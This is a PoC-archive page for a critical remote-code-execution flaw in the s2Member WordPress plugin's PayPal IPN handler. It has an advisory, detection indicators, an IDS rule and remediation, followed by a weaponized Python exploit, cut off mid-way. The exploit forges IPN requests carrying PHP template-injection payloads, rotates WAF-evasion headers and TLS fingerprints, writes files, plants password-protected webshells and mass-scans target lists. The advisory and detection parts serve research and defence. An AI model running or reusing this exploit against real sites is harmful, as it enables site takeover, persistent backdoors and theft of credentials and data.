PoC Archive PoC Archive
CVE-2026-86596 category: web CVSS 9.8 (CRITICAL)
Patched

s2Member WordPress Plugin PayPal IPN Template-Injection RCE (CVE-2026-86596)

Published: 2026-11-25 • Researcher: Aureels (Aureel) — PoC author and repository owner; Wordfence — vulnerability report and CVSS scoring; s2Member / WebSharks — vendor

Target software s2Member (s2Member Framework / s2Member Pro) WordPress plugin — PayPal IPN notification handler and email-template rendering
Affected versions All versions up to and including 260927 (NVD); fixed in 261001. The PoC's internal version gate labels 251002 through 260927 as vulnerable
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-86596 (Wordfence advisory bbe64cd3-c5ca-4867-90de-4784510a1126)
Category
web
Affected product
s2Member (s2Member Framework / s2Member Pro) WordPress plugin — PayPal IPN notification handler and email-template rendering
Affected versions
All versions up to and including 260927 (NVD); fixed in 261001. The PoC's internal version gate labels 251002 through 260927 as vulnerable
Disclosed
2026-11-25
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-11-04
Author / ResearcherAureels (Aureel) — PoC author and repository owner; Wordfence — vulnerability report and CVSS scoring; s2Member / WebSharks — vendor
CVE / AdvisoryCVE-2026-86596 (Wordfence advisory bbe64cd3-c5ca-4867-90de-4784510a1126)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
TagsRCE, WordPress, s2Member, plugin, PayPal-IPN, PHP, template-injection, CWE-94, webshell
RelatedN/A

Affected Target

FieldValue
Software / Systems2Member (s2Member Framework / s2Member Pro) WordPress plugin — PayPal IPN notification handler and email-template rendering
Versions AffectedAll versions up to and including 260927 (NVD); fixed in 261001. The PoC’s internal version gate labels 251002 through 260927 as vulnerable
Language / PlatformPHP (WordPress plugin); the PoC client is Python 3 and runs on any OS
Authentication RequiredYes — NVD describes authenticated attackers with custom-level access and above; live exploitation additionally needs a valid PayPal IPN verification path or the s2Member proxy verification key
Network Access RequiredYes

Summary

The s2Member plugin for WordPress does not properly sanitize the PayPal IPN item name parameter before interpolating it into an email template, so a crafted value hides a PHP opening tag behind a placeholder that the later placeholder-cleanup pass reassembles into valid PHP. NVD records remote code execution in all versions up to and including 260927, fixed in 261001, and scores it 9.8 critical with a network vector. The Aureels single-file PoC drives the s2Member PayPal notify endpoint with a bypass matrix covering payload encoding, request encoding, evasion headers and TLS fingerprints, and can run a command, write a test file or deploy a persistent webshell. NVD describes the attacker as authenticated with custom-level access and above, while the PoC treats a valid PayPal IPN verification path or proxy verification key as the gate.

Vulnerability Details

Root Cause

s2Member receives a PayPal IPN notification and interpolates the payer-supplied item_name into a message template. Before interpolation the plugin runs strip_php_tags_deep(), which recursively HTML-unescapes and URL-decodes the value but then only replaces the literal two-character sequence <?; esc_refs() escapes only backslashes and dollar signs. After interpolation the template is cleaned with preg_replace('/%%(.+?)%%/i', '', $msg), which deletes any %%name%% placeholder left in the text. A value such as <%%x%%?php ... ?> therefore passes the strip (it contains no literal <?), and when %%x%% is removed the remaining characters reassemble into <?php inside the same message body. The template is later evaluated through do_shortcode() / [s2If php="..."], so the injected PHP is executed (CWE-94, per the worklist).

Attack Vector

A forged PayPal IPN notification is POSTed to the site’s IPN endpoint (/?s2member_paypal_notify=1) with txn_type=web_accept and payment_status=Completed. The malicious PHP is placed in item_name, and a valid item_number for a protected post or page is supplied so that s2Member processes the transaction. Because the plugin validates the notification with PayPal, a sandbox IPN or the s2member_paypal_proxy_verification key is needed for the payload to reach the template. The PoC iterates ten payload encodings, five request encodings (form, multipart, duplicated item_name, multipart duplicate, JSON), seven header sets (X-Forwarded-For, PayPal referer/origin, IPN headers) and four TLS fingerprints (curl_cffi).

Impact

Arbitrary PHP code execution in the context of the WordPress/PHP user. The PoC can run an arbitrary shell command, write a marker file into ABSPATH, the content directory, uploads, the current directory or the temp directory, or deploy a password-protected webshell (default shell.php?pass=cmd) that survives the request. A compromised WordPress instance exposes its database credentials, user sessions, uploaded content and any file readable by the web user, and is a common pivot to the host.

Environment / Lab Setup

Output
OS:          Linux (Docker host or VM)
Target:      WordPress with s2Member <= 260927, PayPal IPN notifications enabled,
             an email template containing the item_name placeholder and a
             do_shortcode() / [s2If php=...] sink, reachable at
             http://127.0.0.1:8080
Attacker:    Python 3.8+ (standard library only; curl_cffi optional for
             TLS impersonation)
Tools:       curl, Burp Suite, optional PayPal sandbox account or an s2Member
             proxy verification key for IPN validation

Setup Steps

Shell script
1
python3 poc.py target.example --cmd "id" --authorized

Proof of Concept

Step-by-Step Reproduction

  1. Recon — the PoC reads /wp-content/plugins/s2member/readme.txt and s2member.php (plus the Pro variants) for a version string, probes the home page for a WAF challenge, and harvests item_number values from the page HTML (falling back to 1).
  2. Version gate — vlabel() marks a target VULN for versions 251002 through 260927, PATCH for 261001 and above; a target already at or above 261001 is not attacked.
  3. Deliver the payload — a forged IPN notification is POSTed to /?s2member_paypal_notify=1 with item_name set to the template-injection payload, iterating the payload, request, header and TLS variants until the WAF/blocked categories no longer match.
  4. Confirm — a response containing the marker (CVE_2026_86596_) counts as a hit; in --write-test mode the PoC fetches the written file back from several likely paths; in --deploy-shell mode it requests the shell with a test command.
  5. Optional persistence — --cmd "shell:SECRET" --deploy-shell writes shell.php and prints the URL to use with ?SECRET=command.

Exploit Code

See poc.py for the full implementation (recon, bypass matrix, scanner, webshell deployment) and upstream-README.md for the upstream usage table.

The essential request shape is:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import urllib.parse, urllib.request

TARGET = "https://target.example"          # authorized systems only
PAYLOAD = "<%%x%%?php system('id'); ?>"    # item_name; %%x%% removal rebuilds <?php

data = urllib.parse.urlencode({
    "txn_type": "web_accept", "payment_status": "Completed",
    "item_name": PAYLOAD, "item_number": "1",   # valid protected post/page id
    "mc_gross": "1.00", "mc_currency": "USD", "txn_id": "POC-86596",
    "receiver_email": "paypal@example.com", "payer_email": "buyer@example.com",
}).encode()

req = urllib.request.Request(f"{TARGET}/?s2member_paypal_notify=1", data=data)
print(urllib.request.urlopen(req, timeout=20).status)

Expected Output

Output
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[*] Target: https://target.example
[*] Cmd: id
[*] Recon...
    Ver: 260927 (https://target.example/wp-content/plugins/s2member/readme.txt)
    Items: ['1']
    WAF: None
    Server: Apache
[*] Exploit...
[+] SUCCESS
    Method: write | Payload: 0 | Req: form | Hdr: 0 | Item: 1 | HTTP: 200
    File: https://target.example/wp-content/uploads/2026/11/cve_test.php
    Detail: File at https://target.example/wp-content/uploads/2026/11/cve_test.php

Command output appears wherever s2Member renders the evaluated template (the notification email body); the PoC itself does not capture or parse that output.

Detection & Indicators of Compromise

  • POST requests to /?s2member_paypal_notify=1 carrying <%%, %%x%%, <?php, system(, base64_decode( or similar sequences in item_name.
  • IPN-shaped requests (txn_type=web_accept, payment_status=Completed) from IPs that are not PayPal, especially with X-Forwarded-For: 127.0.0.1, a PayPal referer/origin, or a spoofed User-Agent.
  • Duplicate item_name parameters, JSON or multipart bodies posted to the IPN endpoint, and rapid rotation of client TLS fingerprints against one site.
  • New PHP files under wp-content/uploads/ or the web root (cve_test.php, scan_*.php, shell.php), followed by GET requests to them with a password query parameter.
  • PHP errors or template output containing an unexpected <?php opener, and mail logs with PHP code in the rendered notification body.
  • Audit-log entries showing custom-level account activity immediately before IPN notifications.

Example access-log signature:

Output
1
2
POST /?s2member_paypal_notify=1 HTTP/1.1" 200 512 "-" "Mozilla/5.0 ..."
  body: txn_type=web_accept&payment_status=Completed&item_name=%3C%25%25x%25%25%3Fphp+system%28%27id%27%29%3B+%3F%3E&item_number=1

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"s2Member IPN template-injection attempt"; \
  content:"s2member_paypal_notify"; http_uri; \
  content:"<%%"; http_client_body; sid:9008659;)

Remediation

ActionDetail
PatchUpgrade s2Member (Framework and Pro) to 261001 or later and confirm the plugin files on disk were replaced; the vendor fix is changeset 3722434.
WorkaroundUntil patched, disable PayPal IPN notifications / the s2Member PayPal integration, and remove PHP evaluation from notification email templates (do_shortcode(), [s2If php="..."]). Restrict and review all custom-level and above accounts.
Config HardeningAdd a WAF rule rejecting <%% and <? sequences in IPN parameters, keep PHP execution disabled in wp-content/uploads, run the web user with least privilege, and monitor the web root with file-integrity checks.

References

Notes

Auto-ingested from https://github.com/Aureels/CVE-2026-86596 on 2026-11-25.

Review verdict: this is a real exploit, not a detector. The repository’s single file implements the full template-injection chain (recon, version gate, ten payload variants, five request encodings, evasion headers, TLS impersonation, command execution, file-write verification and webshell deployment). It also exposes a mass-scan mode, but exploit code is the core of the tool, so it was ingested rather than skipped. The scanner is inseparable from the exploit and is documented as such.

License: MIT, copyright (c) 2026 Aureel. The LICENSE file is included and the exploit file carries the archive disclaimer header. Archived for authorized security research only.

Limitations and caveats:

  • No lab, docker-compose file or vulnerable plugin copy is shipped; a test harness must be built from WordPress plus s2Member <= 260927.
  • The PoC was not executed during ingestion (archive policy), so its success against a live target was not independently reproduced here.
  • Live exploitation needs a valid item_number, PayPal IPN validation (sandbox or proxy verification key) and a template that evaluates PHP; without those the payload never reaches the sink.
  • Command-mode success detection is heuristic: it looks for the CVE_2026_86596_ marker (or a caller-supplied marker) in the response and does not parse command output. --write-test and --deploy-shell have concrete verification steps and are more reliable for confirming code execution.
  • Version data: NVD’s record is marked Deferred and carries no CPE configurations (the worklist’s product and version-range lists are empty), so the affected range comes from the advisory text (up to and including 260927, fixed in 261001) and the PoC’s internal gate (251002 minimum). NVD’s description says authenticated attackers with custom-level access and above, while the Wordfence CVSS vector is PR:N; both are reported above rather than resolved.
poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/Aureels/CVE-2026-86596 (see README for attribution/license)
"""
CVE-2026-86596 - s2Member <= 260927 Weaponized RCE Exploit & Scanner
Single-file, no test options, full bypass arsenal.
"""

import argparse, base64, html, os, random, re, ssl, sys, time, threading, urllib.error, urllib.parse, urllib.request, json
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass
from typing import Optional, List, Dict, Tuple

VULN_MAX, FIXED, VULN_MIN = 260927, 261001, 251002
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/124.0 Safari/537.36"
PRE = "CVE_2026_86596_"
COLOR = sys.stdout.isatty()
C = lambda t, c: f"\033[{c}m{t}\033[0m" if COLOR else t
G, R, Y, CY, B, M = lambda t: C(t, "92"), lambda t: C(t, "91"), lambda t: C(t, "93"), lambda t: C(t, "96"), lambda t: C(t, "1"), lambda t: C(t, "95")

# ---------- PHP BEHAVIOR ----------
def strip_php(v):
    c = str(v)
    for _ in range(3):
        c = html.unescape(c); c = urllib.parse.unquote(c)
    if "<? " not in c and "<?" not in c: return str(v)
    return c.replace("<?", "NEUTERED_")

def esc_refs(v): return str(v).replace("\\", "\\\\").replace("$", "\\$")

CHAL = ("one moment please", "just a moment", "checking your browser", "please wait", "enable javascript", "ddos protection", "cf-chl", "px-captcha", "captcha", "spinner", "window.location.reload", "attention required", "access denied", "request blocked", "not acceptable")
def is_chal(b): return any(x in b.lower() for x in CHAL)
def cls(s, b):
    l = b.lower()
    if s is None: return "err", "fail"
    if s in (401,403,406,429) or s>=500: return "blk", f"HTTP {s}"
    if is_chal(b) and "s2member" not in l: return "chal", "WAF"
    if not 200<=s<300: return "herr", f"HTTP {s}"
    if b.lstrip().lower().startswith("<!doctype") and "s2member" not in l: return "html", "page"
    if any(x in l for x in ("unable to verify","invalid","not verified")): return "rej", "IPN rejected"
    if not b.strip(): return "empty", "empty 200"
    return "ok", "200"

# ---------- HTTP ----------
_CFFI = False
def http(url, method="GET", data=None, body=None, ct=None, to=20, ins=False, ua=UA, hdrs=None, proxy=None, imp=None, redir=True):
    global _CFFI
    if body is None and data: body = urllib.parse.urlencode(data).encode()
    h = {"User-Agent": ua, "Accept": "*/*", "Connection": "keep-alive"}
    if hdrs: h.update(hdrs)
    if body and ct and "Content-Type" not in h: h["Content-Type"] = ct
    elif body and "Content-Type" not in h: h["Content-Type"] = "application/x-www-form-urlencoded"
    if imp:
        try:
            from curl_cffi import requests as cr
            prx = {"http": proxy, "https": proxy} if proxy else None
            r = cr.request(method, url, data=body, headers=h, timeout=to, proxies=prx, impersonate=imp, verify=not ins, allow_redirects=redir)
            return r.status_code, r.text[:200000], dict(r.headers)
        except ImportError:
            if not _CFFI: _CFFI = True
        except: pass
    ops = []
    if proxy: ops.append(urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
    if ins: ops.append(urllib.request.HTTPSHandler(context=ssl._create_unverified_context()))
    op = urllib.request.build_opener(*ops) if ops else urllib.request.build_opener()
    if not redir:
        class NR(urllib.request.HTTPRedirectHandler):
            def redirect_request(self, *a): return None
        op.add_handler(NR())
    try:
        with op.open(urllib.request.Request(url, data=body, headers=h, method=method), timeout=to) as r:
            return r.status, r.read(200000).decode("utf-8", "replace"), dict(r.headers)
    except urllib.error.HTTPError as e:
        return e.code, e.read(200000).decode("utf-8", "replace"), dict(e.headers)
    except (urllib.error.URLError, TimeoutError, OSError) as e:
        return None, str(e), {}

# ---------- PAYLOADS ----------
def payloads_cmd(cmd):
    b64 = base64.b64encode(cmd.encode()).decode()
    q = urllib.parse.quote(cmd)
    h = len(cmd)//2
    return [
        f"<%%x%%?php system('{cmd}'); ?>",
        f"<%%x%%?php system(urldecode('{q}')); ?>",
        f"<%%x%%?php system(base64_decode('{b64}')); ?>",
        f"<%%x%%?php system('{cmd[:h]}'.'{cmd[h:]}'); ?>",
        f"<%%x%%?php $f='system'; $f('{cmd}'); ?>",
        f'<%%x%%?php assert(\'system("{cmd}")\'); ?>',
        f'<%%x%%?php preg_replace("/.*/e","system(\\"{cmd}\\")","x"); ?>',
        f'<%%x%%?php $f=create_function("",\'system("'+cmd+'");\'); $f(); ?>',
        f'[s2If php="system(\'{cmd}\');"]',
        f'[s2If php="system(base64_decode(\'{b64}\'));"]',
    ]

def payloads_write(fn, mk, wd="abspath"):
    mk = mk.replace("\\", "\\\\").replace("'", "\\'")
    mt = f"{mk} [run {os.urandom(3).hex()}]"
    base = {"abspath":"(defined('ABSPATH')?ABSPATH:getcwd())","uploads":"(function_exists('wp_upload_dir')?wp_upload_dir()['basedir']:((defined('WP_CONTENT_DIR')?WP_CONTENT_DIR:getcwd()).'/uploads'))","content":"(defined('WP_CONTENT_DIR')?WP_CONTENT_DIR:getcwd())","cwd":"getcwd()","tmp":"sys_get_temp_dir()"}[wd]
    is_php = fn.lower().endswith(".php")
    if is_php:
        php_tag = "chr(60).'?php echo chr(34).{mt}.chr(34).'; ?>"
        return [
            f"<%%x%%?php file_put_contents({base}.'/{fn}',{php_tag}); ?>",
            f"<%%x%%?php $h=fopen({base}.'/{fn}','w');fwrite($h,{php_tag});fclose($h); ?>",
            f"<%%x%%?php shell_exec('echo {mt} > {base}/{fn}'); ?>",
            f"<%%x%%?php file_put_contents({base}.'/{fn}',base64_decode('{base64.b64encode(mt.encode()).decode()}')); ?>",
        ]
    else:
        return [
            f"<%%x%%?php file_put_contents({base}.'/{fn}','{mt}'); ?>",
            f"<%%x%%?php $h=fopen({base}.'/{fn}','w');fwrite($h,'{mt}');fclose($h); ?>",
            f"<%%x%%?php shell_exec('echo {mt} > {base}/{fn}'); ?>",
            f"<%%x%%?php file_put_contents({base}.'/{fn}',base64_decode('{base64.b64encode(mt.encode()).decode()}')); ?>",
        ]

def payloads_shell(pw):
    return [
        f'<%%x%%?php if(isset($_GET["{pw}"]))eval($_GET["{pw}"]); ?>',
        f'<%%x%%?php if(isset($_GET["{pw}"]))system($_GET["{pw}"]); ?>',
        f'<%%x%%?php if(isset($_GET["{pw}"]))assert($_GET["{pw}"]); ?>',
        f'<%%x%%?php if(isset($_GET["{pw}"]))eval(base64_decode($_GET["{pw}"])); ?>',
        f'[s2If php="if(isset($_GET[\\"{pw}\\"]))system($_GET[\\"{pw}\\"]);"]',
    ]

# ---------- RECON ----------
@dataclass
class Recon:
    url: str
    ver: Optional[int]=None
    src: str=""
    blk: bool=False
    items: List[str]=None
    waf: str=""
    srv: str=""
    def __post_init__(self): self.items = self.items or []

def ver_parse(t):
    m = re.search(r"(?:Stable tag|Version)\s*:\s*([0-9.]+)", t, re.I)
    if not m: return None
    d = re.sub(r"\D", "", m.group(1))
    return int(d) if d else None

def recon(t, to, ins, ua, proxy):
    r = Recon(url=t)
    b = t.rstrip("/")
    for u in [f"{b}/wp-content/plugins/s2member/readme.txt", f"{b}/wp-content/plugins/s2member/s2member.php", f"{b}/wp-content/plugins/s2member-pro/readme.txt", f"{b}/wp-content/plugins/s2member-pro/s2member-pro.php"]:
        s, bd, h = http(u, to=to, ins=ins, ua=ua, proxy=proxy)
        if s==200 and not is_chal(bd):
            v = ver_parse(bd)
            if v: r.ver=v; r.src=u; break
        if s in (401,403,429) or (s and s>=500): r.blk=True
    s, bd, h = http(b+"/?test=<script>alert(1)</script>", to=to, ins=ins, ua=ua, proxy=proxy)
    if "server" in h: r.srv=h["server"]
    if s in (403,406,429) or is_chal(bd):
        r.waf = "Cloudflare" if "cloudflare" in bd.lower() or "cf-ray" in str(h).lower() else "Sucuri" if "sucuri" in bd.lower() else "Wordfence" if "wordfence" in bd.lower() else "Unknown"
    s, bd, _ = http(b+"/", to=to, ins=ins, ua=ua, proxy=proxy)
    if s==200 and not is_chal(bd):
        for pat in [r'name=["\']item_number["\'][^>]*value=["\'](\d+)', r'value=["\'](\d+)["\'][^>]*name=["\']item_number', r'\bids=["\'](\d+)["\']']:
            for m in re.finditer(pat, bd, re.I):
                v=m.group(1)
                if v not in r.items: r.items.append(v)
    if not r.items: r.items=["1"]
    return r

def vlabel(v, blk):
    if v is None: return "UNK" if not blk else "BLK"
    if v<VULN_MIN: return f"OLD({v})"
    if v<=VULN_MAX: return f"VULN({v})"
    if v>=FIXED: return f"PATCH({v})"
    return f"MID({v})"

# ---------- IPN ----------
def ipn_data(t, it, pl, cu, am, cr, rc, py, tx, pv, px, pu):
    h = urllib.parse.urlparse(t).hostname or "localhost"
    d = {"txn_type":"web_accept","payment_status":"Completed","item_name":pl,"item_number":str(it),"custom":cu or h,"mc_gross":am,"mc_currency":cr,"txn_id":tx,"receiver_email":rc,"payer_email":py,"first_name":"Test","last_name":"User","ip":"127.0.0.1","payer_id":f"PAY{random.randint(10000000,99999999)}","payment_date":time.strftime("%Y-%m-%d %H:%M:%S",time.gmtime()),"payment_fee":"0.30","mc_fee":"0.30","protection_eligibility":"Eligible","address_status":"confirmed","payer_status":"verified"}
    if pv: d.update({"s2member_paypal_proxy":px,"s2member_paypal_proxy_use":pu,"s2member_paypal_proxy_verification":pv})
    return d

def ipn_variants(d):
    out=[]
    out.append(("form", urllib.parse.urlencode(d).encode(), "application/x-www-form-urlencoded"))
    b=f"----cve{os.urandom(8).hex()}"
    p="".join(f"--{b}\r\nContent-Disposition: form-data; name=\"{k}\"\r\n\r\n{v}\r\n" for k,v in d.items())+f"--{b}--\r\n"
    out.append(("multipart", p.encode(), f"multipart/form-data; boundary={b}"))
    dd=[]
    for k,v in d.items():
        if k=="item_name": dd.append(("item_name","BENIGN"))
        dd.append((k,v))
    out.append(("dup", urllib.parse.urlencode(dd).encode(), "application/x-www-form-urlencoded"))
    b=f"----cve{os.urandom(8).hex()}"
    p=""
    for k,v in d.items():
        if k=="item_name": p+=f"--{b}\r\nContent-Disposition: form-data; name=\"item_name\"\r\n\r\nBENIGN\r\n"
        p+=f"--{b}\r\nContent-Disposition: form-data; name=\"{k}\"\r\n\r\n{v}\r\n"
    p+=f"--{b}--\r\n"
    out.append(("multipart-dup", p.encode(), f"multipart/form-data; boundary={b}"))
    out.append(("json", json.dumps(d).encode(), "application/json"))
    return out

def evasion_headers():
    return [
        {},
        {"X-Forwarded-For":"127.0.0.1","X-Real-IP":"127.0.0.1","CF-Connecting-IP":"127.0.0.1"},
        {"X-Forwarded-For":f"192.168.{random.randint(1,255)}.{random.randint(1,255)}","X-Real-IP":"127.0.0.1"},
        {"X-Originating-IP":"127.0.0.1","True-Client-IP":"127.0.0.1"},
        {"Referer":"https://www.paypal.com/","Origin":"https://www.paypal.com"},
        {"User-Agent":"PayPal IPN Verification","Accept":"*/*"},
        {"X-PayPal-IPN":"true","X-PayPal-Webhook":"true"},
    ]

# ---------- EXPLOIT ----------
@dataclass
class Result:
    ok: bool=False
    rce: bool=False
    method: str=""
    pv: int=0; rv: str=""; hv: int=0
    item: str=""
    status: Optional[int]=None
    body: str=""
    file: str=""
    shell: str=""
    pwd: str=""
    detail: str=""

class Engine:
    def __init__(self, to=20, ins=False, ua=UA, proxy=None, vb=False):
        self.to, self.ins, self.ua, self.proxy, self.vb = to, ins, ua, proxy, vb

    def send(self, t, d, var, hdr, imp):
        u = f"{t.rstrip('/?')}/?s2member_paypal_notify=1"
        m, b, ct = var
        s, bd, _ = http(u, "POST", body=b, ct=ct, to=self.to, ins=self.ins, ua=self.ua, hdrs=hdr, proxy=self.proxy, imp=imp)
        k, dt = cls(s, bd)
        return k, dt, s, bd

    def check_file(self, t, fn, mk):
        b = t.rstrip("/")
        for p in [fn, f"wp-content/{fn}", f"wp-content/uploads/{fn}", f"wp-content/uploads/{time.strftime('%Y/%m')}/{fn}", f"wp-content/plugins/s2member/{fn}"]:
            s, bd, _ = http(f"{b}/{p}", to=self.to, ins=self.ins, ua=self.ua, proxy=self.proxy)
            if s==200 and mk in bd: return f"{b}/{p}"
        return ""

    def check_shell(self, t, fn, pw):
        b = t.rstrip("/")
        for p in [fn, f"wp-content/{fn}", f"wp-content/uploads/{fn}"]:
            s, bd, _ = http(f"{b}/{p}?{pw}=echo+SHELL_OK", to=self.to, ins=self.ins, ua=self.ua, proxy=self.proxy)
            if s==200 and "SHELL_OK" in bd: return True
        return False

    def run(self, t, cmd, info, wt=False, fn="cve_test.php", mk="@cve202686596", wd="abspath", pv=None, px="paypal", pu="pro-emails", am="1.00", cr="USD", rc="paypal@example.com", py="buyer@example.com", noev=False, imp=None, deploy_shell=False, shell_fn="shell.php"):
        cp = payloads_cmd(cmd)
        wp = payloads_write(fn, mk, wd)
        sp = payloads_shell(f"sh{random.randint(1000,9999)}")
        rq = ["form","multipart","dup","multipart-dup","json"] if not noev else ["form"]
        hv = evasion_headers() if not noev else [{}]
        im = [None,"chrome","firefox","safari","edge"] if not noev and imp is None else [imp]

        for it in info.items:
            tx = f"POC{int(time.time())}{random.randint(1000,9999)}"
            for pvi, pl in enumerate(cp if not wt else wp):
                for rvi, rn in enumerate(rq):
                    for hvi, hd in enumerate(hv):
                        for ivi, imv in enumerate(im):
                            d = ipn_data(t, it, pl, t, am, cr, rc, py, tx, pv, px, pu)
                            var = next(v for v in ipn_variants(d) if v[0]==rn)
                            h = {"User-Agent": self.ua}; h.update(hd)
                            if self.vb: print(f"  [try] item={it} pv={pvi} rv={rn} hv={hvi} imp={imv}")
                            k, dt, s, bd = self.send(t, d, var, h, imv)
                            if k in ("chal","blk","html"): continue
                            if k=="rej": continue
                            if PRE in bd or mk in bd:
                                return Result(True,True,"marker",pvi,rn,hvi,it,s,bd,detail=f"Marker via {dt}")
                            if wt:
                                f = self.check_file(t, fn, mk)
                                if f: return Result(True,True,"write",pvi,rn,hvi,it,s,bd,file=f,detail=f"File at {f}")
                            if deploy_shell and cmd.startswith("shell:"):
                                pw = cmd.split(":",1)[1] if ":" in cmd else "cve2026"
                                for svi, sh in enumerate(sp):
                                    sd = ipn_data(t, it, sh, t, am, cr, rc, py, f"{tx}S", pv, px, pu)
                                    for sv in ipn_variants(sd):
                                        sk, sdt, ss, sb = self.send(t, sd, sv, h, imv)
                                        if sk not in ("chal","blk","html","rej") and self.check_shell(t, shell_fn, pw):
                                            return Result(True,True,"shell",svi,sv[0],hvi,it,ss,sb,shell=f"{t.rstrip('/')}/{shell_fn}",pwd=pw,detail="Shell deployed")
        return Result(False,False,"fail",0,"",0,"",None,"","","","Exhausted")

# ---------- SCAN ----------
@dataclass
class SResult:
    target: str; vuln: bool; ver: Optional[int]; vlab: str; rce: bool; meth: str; item: str; file: str; det: str

def scan_one(t, to, ins, ua, proxy, vb):
    t = t.strip()
    if not t: return SResult("",False,None,"EMPTY",False,"","","","")
    if not t.startswith("http"): t="https://"+t
    try: info = recon(t, to, ins, ua, proxy)
    except Exception as e: return SResult(t,False,None,"ERR",False,"","","",f"recon: {e}")
    vl = vlabel(info.ver, info.blk)
    if info.ver and info.ver>=FIXED: return SResult(t,False,info.ver,vl,False,"","","","patched")
    e = Engine(to,ins,ua,proxy,vb)
    mk = f"{PRE}{os.urandom(4).hex()}"; fn = f"scan_{os.urandom(4).hex()}.php"
    r = e.run(t, f"echo {mk}", info, True, fn, mk, "abspath", noev=True)
    return SResult(t, info.ver and info.ver<=VULN_MAX and info.ver>=VULN_MIN, info.ver, vl, r.rce, r.method if r.ok else "none", r.item, r.file, r.detail)

# ---------- MAIN ----------
def main():
    ap = argparse.ArgumentParser(description="CVE-2026-86596 Weaponized Exploit/Scanner", formatter_class=argparse.RawDescriptionHelpFormatter, epilog="""
Examples:
  python3 poc.py target.com --cmd "id" --authorized
  python3 poc.py target.com --cmd "shell:pass" --authorized --deploy-shell
  python3 poc.py targets.txt --scan --threads 30 --recon
  python3 poc.py targets.txt --scan --exploit --cmd "id" --authorized --output out.json
""")
    ap.add_argument("target"); ap.add_argument("--cmd"); ap.add_argument("--scan",action="store_true"); ap.add_argument("--exploit",action="store_true"); ap.add_argument("--authorized",action="store_true"); ap.add_argument("--recon",action="store_true")
    ap.add_argument("--item-number"); ap.add_argument("--custom"); ap.add_argument("--amount",default="1.00"); ap.add_argument("--currency",default="USD"); ap.add_argument("--receiver",default="paypal@example.com"); ap.add_argument("--payer",default="buyer@example.com")
    ap.add_argument("--proxy-verification"); ap.add_argument("--proxy",default="paypal"); ap.add_argument("--proxy-use",default="pro-emails")
    ap.add_argument("--write-test",action="store_true"); ap.add_argument("--filename",default="cve_test.php"); ap.add_argument("--marker",default="@cve202686596"); ap.add_argument("--write-dir",choices=["abspath","uploads","content","cwd","tmp"],default="abspath")
    ap.add_argument("--deploy-shell",action="store_true"); ap.add_argument("--shell-path",default="shell.php"); ap.add_argument("--full-bypass",action="store_true"); ap.add_argument("--no-evasion",action="store_true")
    ap.add_argument("--timeout",type=float,default=20); ap.add_argument("--insecure",action="store_true"); ap.add_argument("--user-agent",default=UA); ap.add_argument("--cookie"); ap.add_argument("--header",action="append",default=[]); ap.add_argument("--http-proxy"); ap.add_argument("--impersonate",choices=[None,"chrome","firefox","safari","edge"])
    ap.add_argument("--threads",type=int,default=15); ap.add_argument("--output"); ap.add_argument("--verbose","-v",action="store_true"); ap.add_argument("--color",choices=["auto","always","never"],default="auto")
    a = ap.parse_args()
    global COLOR
    COLOR = (a.color=="always") or (a.color=="auto" and sys.stdout.isatty())
    if os.name=="nt" and COLOR: os.system("")

    if not a.authorized and (a.cmd or a.exploit or a.deploy_shell):
        print(R("[!] --authorized REQUIRED")); return 1

    hdrs = {}
    for h in a.header:
        if ":" in h: k,v=h.split(":",1); hdrs[k.strip()]=v.strip()
    if a.cookie: hdrs["Cookie"]=a.cookie

    if a.scan:
        if not os.path.isfile(a.target): print(R(f"[-] File not found: {a.target}")); return 1
        with open(a.target) as f: targets=[l.strip() for l in f if l.strip() and not l.startswith("#")]
        print(B(f"[*] {len(targets)} targets | {a.threads} threads"))
        res=[]; done=0; lk=threading.Lock()
        def wk(t):
            nonlocal done
            r = scan_one(t, a.timeout, a.insecure, a.user_agent, a.http_proxy, a.verbose)
            with lk:
                done+=1
                st = "VULN" if r.vuln else "SAFE"; rc = " +RCE" if r.rce else ""
                print(f"  [{done}/{len(targets)}] {r.target} | {st}{rc} | {r.vlab}")
                if r.rce: print(G(f"      *** RCE: {r.file} ***"))
            return r
